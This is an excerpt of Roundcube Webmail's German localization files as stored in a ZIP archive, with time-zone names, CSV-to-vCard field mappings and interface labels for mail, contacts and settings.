$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrachan';
$labels['tz:europe:athens'] = 'Athen';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brüssel';
$labels['tz:europe:bucharest'] = 'Bukarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Kischinau';
$labels['tz:europe:copenhagen'] = 'Kopenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Insel Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiew';
$labels['tz:europe:kirov'] = 'Kirow';
$labels['tz:europe:lisbon'] = 'Lissabon';
$labels['tz:europe:ljubljana'] = 'Laibach';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moskau';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prag';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rom';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratow';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Uljanowsk';
$labels['tz:europe:uzhgorod'] = 'Uschhorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikan';
$labels['tz:europe:vienna'] = 'Wien';
$labels['tz:europe:vilnius'] = 'Wilna';
$labels['tz:europe:volgograd'] = 'Wolgograd';
$labels['tz:europe:warsaw'] = 'Warschau';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Saporischschja';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Malediven';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pazifik';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fidschi';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\��8'VV(program/localization/de_DE/csv2vcard.incnu�[���<?php

/*
+-----------------------------------------------------------------------+
| localization/de_DE/csv2vcard.inc                                      |
|                                                                       |
| Localization file of the Roundcube Webmail client                     |
| Copyright (C) 2005-2014, The Roundcube Dev Team                       |
|                                                                       |
| Licensed under the GNU General Public License version 3 or            |
| any later version with exceptions for skins & plugins.                |
| See the README file for a full license statement.                     |
|                                                                       |
+-----------------------------------------------------------------------+
| Author: Aleksander Machniak <alec@alec.pl>                            |
+-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Jahrestag";
$map['assistants_name'] = "Name Assistent";
$map['assistants_phone'] = "Telefon Assistent";
$map['birthday'] = "Geburtstag";
$map['business_city'] = "Ort geschäftlich";
$map['business_countryregion'] = "Region geschäftlich";
$map['business_fax'] = "Fax geschäftlich";
$map['business_phone'] = "Telefon geschäftlich";
$map['business_phone_2'] = "Telefon geschäftlich 2";
$map['business_postal_code'] = "Postleitzahl geschäftlich";
$map['business_state'] = "Land geschäftlich";
$map['business_street'] = "Straße geschäftlich";
$map['car_phone'] = "Autotelefon";
$map['categories'] = "Kategorien";
$map['company'] = "Firma";
$map['department'] = "Abteilung";
$map['email_address'] = "E-Mail-Adresse";
$map['email_2_address'] = "E-Mail 2: Adresse";
$map['email_3_address'] = "E-Mail 3: Adresse";
$map['first_name'] = "Vorname";
$map['gender'] = "Geschlecht";
$map['home_city'] = "Ort privat";
$map['home_countryregion'] = "Region privat";
$map['home_fax'] = "Fax privat";
$map['home_phone'] = "Telefon privat";
$map['home_phone_2'] = "Telefon privat 2";
$map['home_postal_code'] = "Postleitzahl privat";
$map['home_state'] = "Land privat";
$map['home_street'] = "Straße privat";
$map['job_title'] = "Position";
$map['last_name'] = "Nachname";
$map['managers_name'] = "Manager's Name";
$map['middle_name'] = "Weitere Vornamen";
$map['mobile_phone'] = "Mobiltelefon";
$map['notes'] = "Notizen";
$map['other_city'] = "Weiterer Ort";
$map['other_countryregion'] = "Weitere Region";
$map['other_fax'] = "Weiteres Fax";
$map['other_phone'] = "Weiteres Telefon";
$map['other_postal_code'] = "Weitere Postleitzahl";
$map['other_state'] = "Weiteres Land";
$map['other_street'] = "Weitere Straße";
$map['pager'] = "Pager";
$map['primary_phone'] = "Haupttelefon";
$map['spouse'] = "Spouse";
$map['suffix'] = "Suffix";
$map['title'] = "Title";
$map['web_page'] = "Webseite";
$map['birth_day'] = "Geburtstag";
$map['birth_month'] = "Geburtsmonat";
$map['birth_year'] = "Geburtsjahr";
$map['display_name'] = "Anzeigename";
$map['fax_number'] = "Fax-Nummer";
$map['home_address'] = "Privat: Adresse";
$map['home_country'] = "Privat: Land";
$map['home_zipcode'] = "Privat: PLZ";
$map['mobile_number'] = "Mobil-Tel.-Nr.";
$map['nickname'] = "Spitzname";
$map['organization'] = "Organisation";
$map['pager_number'] = "Pager-Nummer";
$map['primary_email'] = "Primäre E-Mail-Adresse";
$map['secondary_email'] = "Sekundäre E-Mail-Adresse";
$map['web_page_1'] = "Webseite 1";
$map['web_page_2'] = "Webseite 2";
$map['work_phone'] = "Tel. dienstlich";
$map['work_address'] = "Dienstlich: Adresse";
$map['work_country'] = "Dienstlich: Land";
$map['work_zipcode'] = "Dienstlich: PLZ";
$map['date_of_birth'] = "Date of Birth";
$map['email'] = "Email";
$map['home_mobile'] = "Home Mobile";
$map['home_zip'] = "Home Zip";
$map['info'] = "Info";
$map['user_photo'] = "User Photo";
$map['url'] = "URL";
$map['work_city'] = "Work City";
$map['work_company'] = "Work Company";
$map['work_dept'] = "Work Dept";
$map['work_fax'] = "Work Fax";
$map['work_mobile'] = "Work Mobile";
$map['work_state'] = "Work State";
$map['work_title'] = "Work Title";
$map['work_zip'] = "Work Zip";
PK
h�\�#������%program/localization/de_DE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Willkommen bei $product';
$labels['username'] = 'Benutzername';
$labels['password'] = 'Passwort';
$labels['server'] = 'Server';
$labels['login'] = 'Anmelden';
$labels['oauthlogin'] = 'Anmeldung mit $provider';
$labels['menu'] = 'Menü';
$labels['logout'] = 'Abmelden';
$labels['mail'] = 'E-Mail';
$labels['settings'] = 'Einstellungen';
$labels['addressbook'] = 'Adressbuch';
$labels['darkmode'] = 'Dunkler Modus';
$labels['lightmode'] = 'Heller Modus';
$labels['inbox'] = 'Posteingang';
$labels['drafts'] = 'Entwürfe';
$labels['sent'] = 'Gesendet';
$labels['trash'] = 'Gelöscht';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Echte Namen für Spezialordner anzeigen';
$labels['subject'] = 'Betreff';
$labels['from'] = 'Von';
$labels['sender'] = 'Absender';
$labels['to'] = 'An';
$labels['cc'] = 'Kopie';
$labels['bcc'] = 'Blindkopie';
$labels['replyto'] = 'Antwort an';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Datum';
$labels['size'] = 'Größe';
$labels['priority'] = 'Priorität';
$labels['organization'] = 'Organisation';
$labels['readstatus'] = 'Gelesen/Ungelesen';
$labels['listoptions'] = 'Listenoptionen …';
$labels['listoptionstitle'] = 'Listenoptionen';
$labels['mailboxlist'] = 'Ordner';
$labels['messagesfromto'] = 'Nachrichten $from bis $to von $count';
$labels['threadsfromto'] = 'Konversationen $from bis $to von $count';
$labels['messagenrof'] = 'Nachricht $nr von $count';
$labels['fromtoshort'] = '$from – $to von $count';
$labels['copy'] = 'Kopieren';
$labels['move'] = 'Verschieben';
$labels['moveto'] = 'Verschieben nach …';
$labels['copyto'] = 'Kopieren nach …';
$labels['download'] = 'Herunterladen';
$labels['open'] = 'Öffnen';
$labels['showattachment'] = 'Anzeigen';
$labels['showanyway'] = 'Trotzdem anzeigen';
$labels['filename'] = 'Dateiname';
$labels['filesize'] = 'Dateigröße';
$labels['addtoaddressbook'] = 'Ins Adressbuch übernehmen';
$labels['sun'] = 'So';
$labels['mon'] = 'Mo';
$labels['tue'] = 'Di';
$labels['wed'] = 'Mi';
$labels['thu'] = 'Do';
$labels['fri'] = 'Fr';
$labels['sat'] = 'Sa';
$labels['sunday'] = 'Sonntag';
$labels['monday'] = 'Montag';
$labels['tuesday'] = 'Dienstag';
$labels['wednesday'] = 'Mittwoch';
$labels['thursday'] = 'Donnerstag';
$labels['friday'] = 'Freitag';
$labels['saturday'] = 'Samstag';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mär';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dez';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'März';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Dezember';
$labels['today'] = 'Heute';
$labels['refresh'] = 'Aktualisieren';
$labels['checkmail'] = 'Auf neue Nachrichten überprüfen';
$labels['compose'] = 'Schreiben';
$labels['writenewmessage'] = 'Neue Nachricht schreiben';
$labels['reply'] = 'Antworten';
$labels['replytomessage'] = 'Antwort verfassen';
$labels['replytoallmessage'] = 'Antwort an Liste oder an Absender und alle Empfänger verfassen';
$labels['replyall'] = 'Allen antworten';
$labels['replylist'] = 'Liste antworten';
$labels['forward'] = 'Weiterleiten';
$labels['forwardinline'] = 'innerhalb der Nachricht';
$labels['forwardattachment'] = 'Als Anhang weiterleiten';
$labels['forwardmessage'] = 'Nachricht weiterleiten';
$labels['bouncemsg'] = 'Erneut senden (falls unzustellbar)';
$labels['bounce'] = 'Erneut senden';
$labels['deletemessage'] = 'Nachricht löschen';
$labels['movemessagetotrash'] = 'Nachricht in den Papierkorb verschieben';
$labels['printmessage'] = 'Nachricht drucken';
$labels['previousmessage'] = 'Vorherige Nachricht anzeigen';
$labels['firstmessage'] = 'Die erste Nachricht anzeigen';
$labels['nextmessage'] = 'Nächste Nachricht anzeigen';
$labels['lastmessage'] = 'Die letzte Nachricht anzeigen';
$labels['backtolist'] = 'Zurück zur Liste';
$labels['viewsource'] = 'Quelltext anzeigen';
$labels['mark'] = 'Markieren';
$labels['markmessages'] = 'Nachrichten markieren';
$labels['markread'] = 'Als gelesen';
$labels['markunread'] = 'Als ungelesen';
$labels['markflagged'] = 'Als wichtig';
$labels['markunflagged'] = 'Als unwichtig';
$labels['moreactions'] = 'Mehr …';
$labels['markallread'] = 'Alle als gelesen markieren';
$labels['folders-cur'] = 'Nur ausgewählten Ordner';
$labels['folders-sub'] = 'Ausgewählter Ordner und seine Unterordner';
$labels['folders-all'] = 'Alle Ordner';
$labels['more'] = 'Mehr';
$labels['back'] = 'Zurück';
$labels['options'] = 'Optionen';
$labels['composeoptions'] = 'Optionen für das Schreiben';
$labels['optionsandattachments'] = 'Optionen und Anhänge';
$labels['actions'] = 'Aktionen';
$labels['first'] = 'Erste(r)';
$labels['last'] = 'Letzte(r)';
$labels['previous'] = 'Vorherige(r)';
$labels['next'] = 'Nächste(r)';
$labels['select'] = 'Auswahl';
$labels['selection'] = 'Auswahl';
$labels['all'] = 'Alle';
$labels['none'] = 'Keine';
$labels['currpage'] = 'Aktuelle Seite';
$labels['isread'] = 'Gelesen';
$labels['unread'] = 'Ungelesene';
$labels['flagged'] = 'Als wichtig markiert';
$labels['unflagged'] = 'Als unwichtig markiert';
$labels['unanswered'] = 'Unbeantwortete';
$labels['withattachment'] = 'Mit Anhang';
$labels['deleted'] = 'Gelöschte';
$labels['undeleted'] = 'Nicht gelöscht';
$labels['replied'] = 'Beantwortet';
$labels['forwarded'] = 'Weitergeleitet';
$labels['invert'] = 'Invertieren';
$labels['filter'] = 'Filter';
$labels['list'] = 'Liste';
$labels['threads'] = 'Konversationen';
$labels['expand-all'] = 'Alle aufklappen';
$labels['expand-unread'] = 'Ungelesene aufklappen';
$labels['collapse-all'] = 'Alle zuklappen';
$labels['threaded'] = 'Gruppiert';
$labels['showunread'] = 'Ungelesene Nachrichten anzeigen';
$labels['autoexpand_threads'] = 'Konversationen aufklappen';
$labels['do_expand'] = 'alle';
$labels['expand_only_unread'] = 'nur ungelesene';
$labels['fromto'] = 'Von/An';
$labels['flag'] = 'Markierung';
$labels['attachment'] = 'Anhang';
$labels['nonesort'] = 'Keine';
$labels['sentdate'] = 'Sendedatum';
$labels['arrival'] = 'Empfangsdatum';
$labels['asc'] = 'aufsteigend';
$labels['desc'] = 'absteigend';
$labels['listcolumns'] = 'Spalten';
$labels['listsorting'] = 'Sortieren nach';
$labels['listorder'] = 'Sortierung';
$labels['listmode'] = 'Anzeigemodus';
$labels['lmode'] = 'Listenmodus';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Breitbildschirm';
$labels['layoutdesktop'] = 'Schreibtisch';
$labels['layoutlist'] = 'Liste';
$labels['layoutwidescreendesc'] = 'Breitbild (3-Spalten-Ansicht)';
$labels['layoutdesktopdesc'] = 'Schreibtisch (breite Liste und Nachrichtenvorschau unten)';
$labels['layoutlistdesc'] = 'Liste (keine Nachrichtenvorschau)';
$labels['folderactions'] = 'Ordneraktionen …';
$labels['compact'] = 'Packen';
$labels['empty'] = 'Leeren';
$labels['importmessages'] = 'Nachrichten importieren';
$labels['mailimportdesc'] = 'Sie können Mail-Dateien im Format <a href="https://en.wikipedia.org/wiki/Email#Message_format">MME</a> oder <a href="https://en.wikipedia.org/wiki/Mbox">MBOX</a> hochladen.';
$labels['mailimportzip'] = 'Mehrere Dateien können zu ZIP-Archiven komprimiert werden.';
$labels['quota'] = 'Speicherplatz';
$labels['unknown'] = 'unbekannt';
$labels['unlimited'] = 'unbegrenzt';
$labels['quotatype'] = 'Kapazitätstyp';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Verwendet';
$labels['quotastorage'] = 'Festplattenspeicher';
$labels['quotamessage'] = 'Nachrichtenanzahl';
$labels['shortheaderdate'] = 'Am $date';
$labels['shortheaderto'] = 'An $to am $date';
$labels['shortheaderfrom'] = 'Von $from am $date';
$labels['quicksearch'] = 'Schnellsuche';
$labels['searchplaceholder'] = 'Suchen …';
$labels['resetsearch'] = 'Suche zurücksetzen';
$labels['searchmod'] = 'Suchkriterien ändern';
$labels['msgtext'] = 'Nachricht';
$labels['body'] = 'Inhalt';
$labels['type'] = 'Typ';
$labels['namex'] = 'Name';
$labels['searchscope'] = 'Bereich';
$labels['currentfolder'] = 'Aktueller Ordner';
$labels['subfolders'] = 'Dieser und alle Unterordner';
$labels['allfolders'] = 'Alle Ordner';
$labels['searchinterval-1W'] = 'älter als eine Woche';
$labels['searchinterval-1M'] = 'älter als einen Monat';
$labels['searchinterval-1Y'] = 'älter als ein Jahr';
$labels['searchinterval1W'] = 'jünger als eine Woche';
$labels['searchinterval1M'] = 'jünger als einen Monat';
$labels['searchinterval1Y'] = 'jünger als ein Jahr';
$labels['openinextwin'] = 'In neuem Fenster öffnen';
$labels['emlsave'] = 'Lokal speichern (.eml)';
$labels['changeformattext'] = 'Als reiner Text anzeigen';
$labels['changeformathtml'] = 'Als original HTML anzeigen';
$labels['editasnew'] = 'Als neue Nachricht öffnen';
$labels['send'] = 'Senden';
$labels['sendmessage'] = 'Nachricht jetzt senden';
$labels['savemessage'] = 'Nachricht speichern';
$labels['addattachment'] = 'Datei anhängen';
$labels['charset'] = 'Zeichensatz';
$labels['editortype'] = 'Bearbeitungstyp';
$labels['returnreceipt'] = 'Empfangsbestätigung (MDN)';
$labels['dsn'] = 'Übermittlungsbestätigung (DSN)';
$labels['mailreplyintro'] = 'Am $date, schrieb $sender:';
$labels['originalmessage'] = 'Originalnachricht';
$labels['selectimage'] = 'Bild auswählen';
$labels['addimage'] = 'Bild hinzufügen';
$labels['selectmedia'] = 'Film auswählen';
$labels['addmedia'] = 'Film hinzufügen';
$labels['encrypt'] = 'Verschlüsseln';
$labels['encryptmessage'] = 'Nachrichten verschlüsseln';
$labels['encryptmessagemailvelope'] = 'Nachricht mit Mailvelope verschlüsseln';
$labels['importpubkeys'] = 'Öffentliche Schlüssel importieren';
$labels['encryptedsendialog'] = 'Verschlüsselte Nachricht wird gesendet';
$labels['encryptandsign'] = 'Verschlüsseln und unterschreiben';
$labels['keyid'] = 'Schlüsselkennung';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Abgelaufen';
$labels['keyrevoked'] = 'Widerrufen';
$labels['bccinstead'] = 'Blindkopie verwenden';
$labels['addheader'] = 'Empfänger hinzufügen (Kopfzeile)';
$labels['insert'] = 'Hinzufügen';
$labels['insertcontact'] = 'Kontakt(e) einfügen';
$labels['recipient'] = 'Empfänger';
$labels['recipientedit'] = 'Empfänger bearbeiten';
$labels['editidents'] = 'Identitäten bearbeiten';
$labels['spellcheck'] = 'Rechtschreibung';
$labels['checkspelling'] = 'Rechtschreibung prüfen';
$labels['resumeediting'] = 'Bearbeitung fortsetzen';
$labels['revertto'] = 'Zurück zu';
$labels['restore'] = 'Wiederherstellen';
$labels['restoremessage'] = 'Nachricht wiederherstellen?';
$labels['ignore'] = 'Ignorieren';
$labels['responses'] = 'Schnellantworten';
$labels['insertresponse'] = 'Schnellantwort hinzufügen';
$labels['manageresponses'] = 'Schnellantworten verwalten';
$labels['newresponse'] = 'Neue Antwort erstellen';
$labels['addresponse'] = 'Antwort hinzufügen';
$labels['editresponse'] = 'Schnellantwort bearbeiten';
$labels['editresponses'] = 'Schnellantworten bearbeiten';
$labels['responsename'] = 'Name';
$labels['responsetext'] = 'Text der Antwort';
$labels['attach'] = 'Anhang';
$labels['attachments'] = 'Anhänge';
$labels['upload'] = 'Hochladen';
$labels['uploadprogress'] = '$percent ($current von $total)';
$labels['close'] = 'Schließen';
$labels['messageoptions'] = 'Optionen …';
$labels['togglecomposeoptions'] = 'Zusammenstellungsoptionen auswählen';
$labels['attachmentrename'] = 'Anhang umbenennen';
$labels['low'] = 'Niedrig';
$labels['lowest'] = 'Niedrigste';
$labels['normal'] = 'Normal';
$labels['high'] = 'Hoch';
$labels['highest'] = 'Höchste';
$labels['nosubject'] = '(kein Betreff)';
$labels['showimages'] = 'Bilder anzeigen';
$labels['allow'] = 'Erlauben';
$labels['alwaysshow'] = 'Bilder von $sender immer zeigen';
$labels['alwaysallow'] = 'Von $sender immer erlauben';
$labels['isdraft'] = 'Dies ist ein Entwurf';
$labels['andnmore'] = '$nr weitere …';
$labels['details'] = 'Details';
$labels['summary'] = 'Zusammenfassung';
$labels['headers'] = 'Kopfzeilen';
$labels['allheaders'] = 'Alle Kopfzeilen...';
$labels['togglemoreheaders'] = 'Mehr Kopfzeilen der Nachricht anzeigen';
$labels['togglefullheaders'] = 'Rohkopfzeilen ein-/ausblenden';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Einfacher Text';
$labels['savesentmessagein'] = 'Nachricht speichern in';
$labels['dontsave'] = 'nicht speichern';
$labels['maxuploadsize'] = 'Maximal erlaubte Dateigröße ist $size';
$labels['addcc'] = 'Kopie hinzufügen';
$labels['addbcc'] = 'Blindkopie hinzufügen';
$labels['addreplyto'] = 'Antwortadresse hinzufügen';
$labels['addfollowupto'] = 'Followup-To hinzufügen';
$labels['sendreceipt'] = 'Lesebestätigung senden?';
$labels['mdnrequest'] = 'Der Sender dieser Nachricht möchte gerne eine Lesebestätigung. Wollen Sie dieses bestätigen?';
$labels['receiptread'] = 'Empfangsbestätigung (gelesen)';
$labels['yourmessage'] = 'Dies ist eine Empfangsbestätigung für Ihre Nachricht';
$labels['receiptnote'] = 'Hinweis: Der Empfänger hat den Empfang der Nachricht bestätigt. Dies ist keine Garantie, dass die Nachricht gelesen und verstanden wurde.';
$labels['sendalwaysto'] = 'Immer an $email senden';
$labels['zoomin'] = 'Vergrößern';
$labels['zoomout'] = 'Verkleinern';
$labels['rotate'] = 'Drehen';
$labels['increaseimage'] = 'Bild vergrößern';
$labels['decreaseimage'] = 'Bild verkleinern';
$labels['rotateimage'] = 'Bild drehen';
$labels['showtools'] = 'Bild-Tools anzeigen';
$labels['hidetools'] = 'Bild-Tools ausblenden';
$labels['name'] = 'Angezeigter Name';
$labels['firstname'] = 'Vorname';
$labels['surname'] = 'Nachname';
$labels['middlename'] = 'zweiter  Vorname';
$labels['nameprefix'] = 'Anrede';
$labels['namesuffix'] = 'Namenszusatz';
$labels['nickname'] = 'Spitzname';
$labels['jobtitle'] = 'Berufsbezeichnung';
$labels['department'] = 'Firma';
$labels['gender'] = 'Geschlecht';
$labels['maidenname'] = 'Mädchenname';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresse';
$labels['street'] = 'Straße';
$labels['locality'] = 'Ort';
$labels['zipcode'] = 'PLZ';
$labels['region'] = 'Region';
$labels['country'] = 'Land';
$labels['birthday'] = 'Geburtstag';
$labels['anniversary'] = 'Jahrestag';
$labels['website'] = 'Webseite';
$labels['instantmessenger'] = 'IM-Adresse';
$labels['notes'] = 'Notizen';
$labels['male'] = 'männlich';
$labels['female'] = 'weiblich';
$labels['manager'] = 'Vorgesetze(r)';
$labels['assistant'] = 'Assistenz';
$labels['spouse'] = 'Partner/in';
$labels['allfields'] = 'Alle Felder';
$labels['search'] = 'Suche';
$labels['searchresult'] = 'Suchergebnis';
$labels['advsearch'] = 'Detaillierte Suche';
$labels['advanced'] = 'Erweitert';
$labels['other'] = 'Andere';
$labels['printcontact'] = 'Kontakt ausdrucken';
$labels['qrcode'] = 'QR-Code';
$labels['typehome'] = 'Privat';
$labels['typework'] = 'Dienstlich';
$labels['typeother'] = 'Andere';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Primär';
$labels['typehomefax'] = 'Fax Privat';
$labels['typeworkfax'] = 'Fax Dienst';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistenz';
$labels['typehomepage'] = 'Internet';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Feld hinzufügen …';
$labels['addcontact'] = 'Kontakt hinzufügen';
$labels['editcontact'] = 'Kontakt bearbeiten';
$labels['contacts'] = 'Kontakte';
$labels['contactproperties'] = 'Kontaktdaten';
$labels['contactnameandorg'] = 'Name und Organisation';
$labels['personalinfo'] = 'Persönliche Informationen';
$labels['personal'] = 'Persönlich';
$labels['contactphoto'] = 'Foto des Kontakts';
$labels['edit'] = 'Bearbeiten';
$labels['cancel'] = 'Abbrechen';
$labels['save'] = 'Speichern';
$labels['delete'] = 'Löschen';
$labels['discard'] = 'Verwerfen';
$labels['continue'] = 'Weiter';
$labels['ok'] = 'OK';
$labels['rename'] = 'Umbenennen';
$labels['addphoto'] = 'Kontaktbild hinzufügen';
$labels['replacephoto'] = 'Bild ändern';
$labels['uploadphoto'] = 'Bild hochladen';
$labels['choosefile'] = 'Datei auswählen…';
$labels['choosefiles'] = 'Dateien auswählen…';
$labels['browse'] = 'Durchsuchen';
$labels['newcontact'] = 'Neuen Kontakt erstellen';
$labels['deletecontact'] = 'Gewählte Kontakte löschen';
$labels['composeto'] = 'Nachricht verfassen';
$labels['contactsfromto'] = 'Kontakte $from bis $to von $count';
$labels['print'] = 'Drucken';
$labels['export'] = 'Exportieren';
$labels['exportall'] = 'Alles exportieren';
$labels['exportsel'] = 'Auswahl exportieren';
$labels['exportvcards'] = 'Kontakte im vCard-Format exportieren';
$labels['newgroup'] = 'Neue Gruppe erstellen';
$labels['addgroup'] = 'Gruppe hinzufügen';
$labels['grouprename'] = 'Gruppe umbenennen';
$labels['groupdelete'] = 'Gruppe löschen';
$labels['groupassign'] = 'Zu Gruppe hinzufügen...';
$labels['groupremove'] = 'Aus Gruppe entfernen';
$labels['groupremoveselected'] = 'Gewählte Kontakte aus Gruppe entfernen';
$labels['uponelevel'] = 'Eine Ebene nach oben';
$labels['previouspage'] = 'Seite zurück';
$labels['firstpage'] = 'Erste Seite';
$labels['nextpage'] = 'Nächste Seite';
$labels['lastpage'] = 'Letzte Seite';
$labels['group'] = 'Gruppe';
$labels['groups'] = 'Gruppen';
$labels['listgroup'] = 'Gruppenmitglieder auflisten';
$labels['personaladrbook'] = 'Persönliches Adressbuch';
$labels['searchsave'] = 'Suchergebnisse speichern';
$labels['searchdelete'] = 'Suchergebnisse löschen';
$labels['import'] = 'Importieren';
$labels['importcontacts'] = 'Kontakte importieren';
$labels['importfromfile'] = 'Aus Datei importieren';
$labels['importtarget'] = 'Kontakte hinzufügen zu';
$labels['importreplace'] = 'Bestehendes Adressbuch komplett ersetzen';
$labels['importgroups'] = 'Gruppenzuordnungen importieren';
$labels['importgroupsall'] = 'Alle (Gruppen erstellen wenn nötig)';
$labels['importgroupsexisting'] = 'Nur für existierende Gruppen';
$labels['importdesc'] = 'Sie können Kontakte von einem vorhandenen Adressbuch hochladen.<br/>Zur Zeit wird der Import von Adressen im <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> oder CSV-Format (Komma-getrenntes Format) unterstützt.';
$labels['done'] = 'Fertig';
$labels['settingsfor'] = 'Einstellungen für';
$labels['about'] = 'Über';
$labels['preferences'] = 'Einstellungen';
$labels['userpreferences'] = 'Benutzereinstellungen';
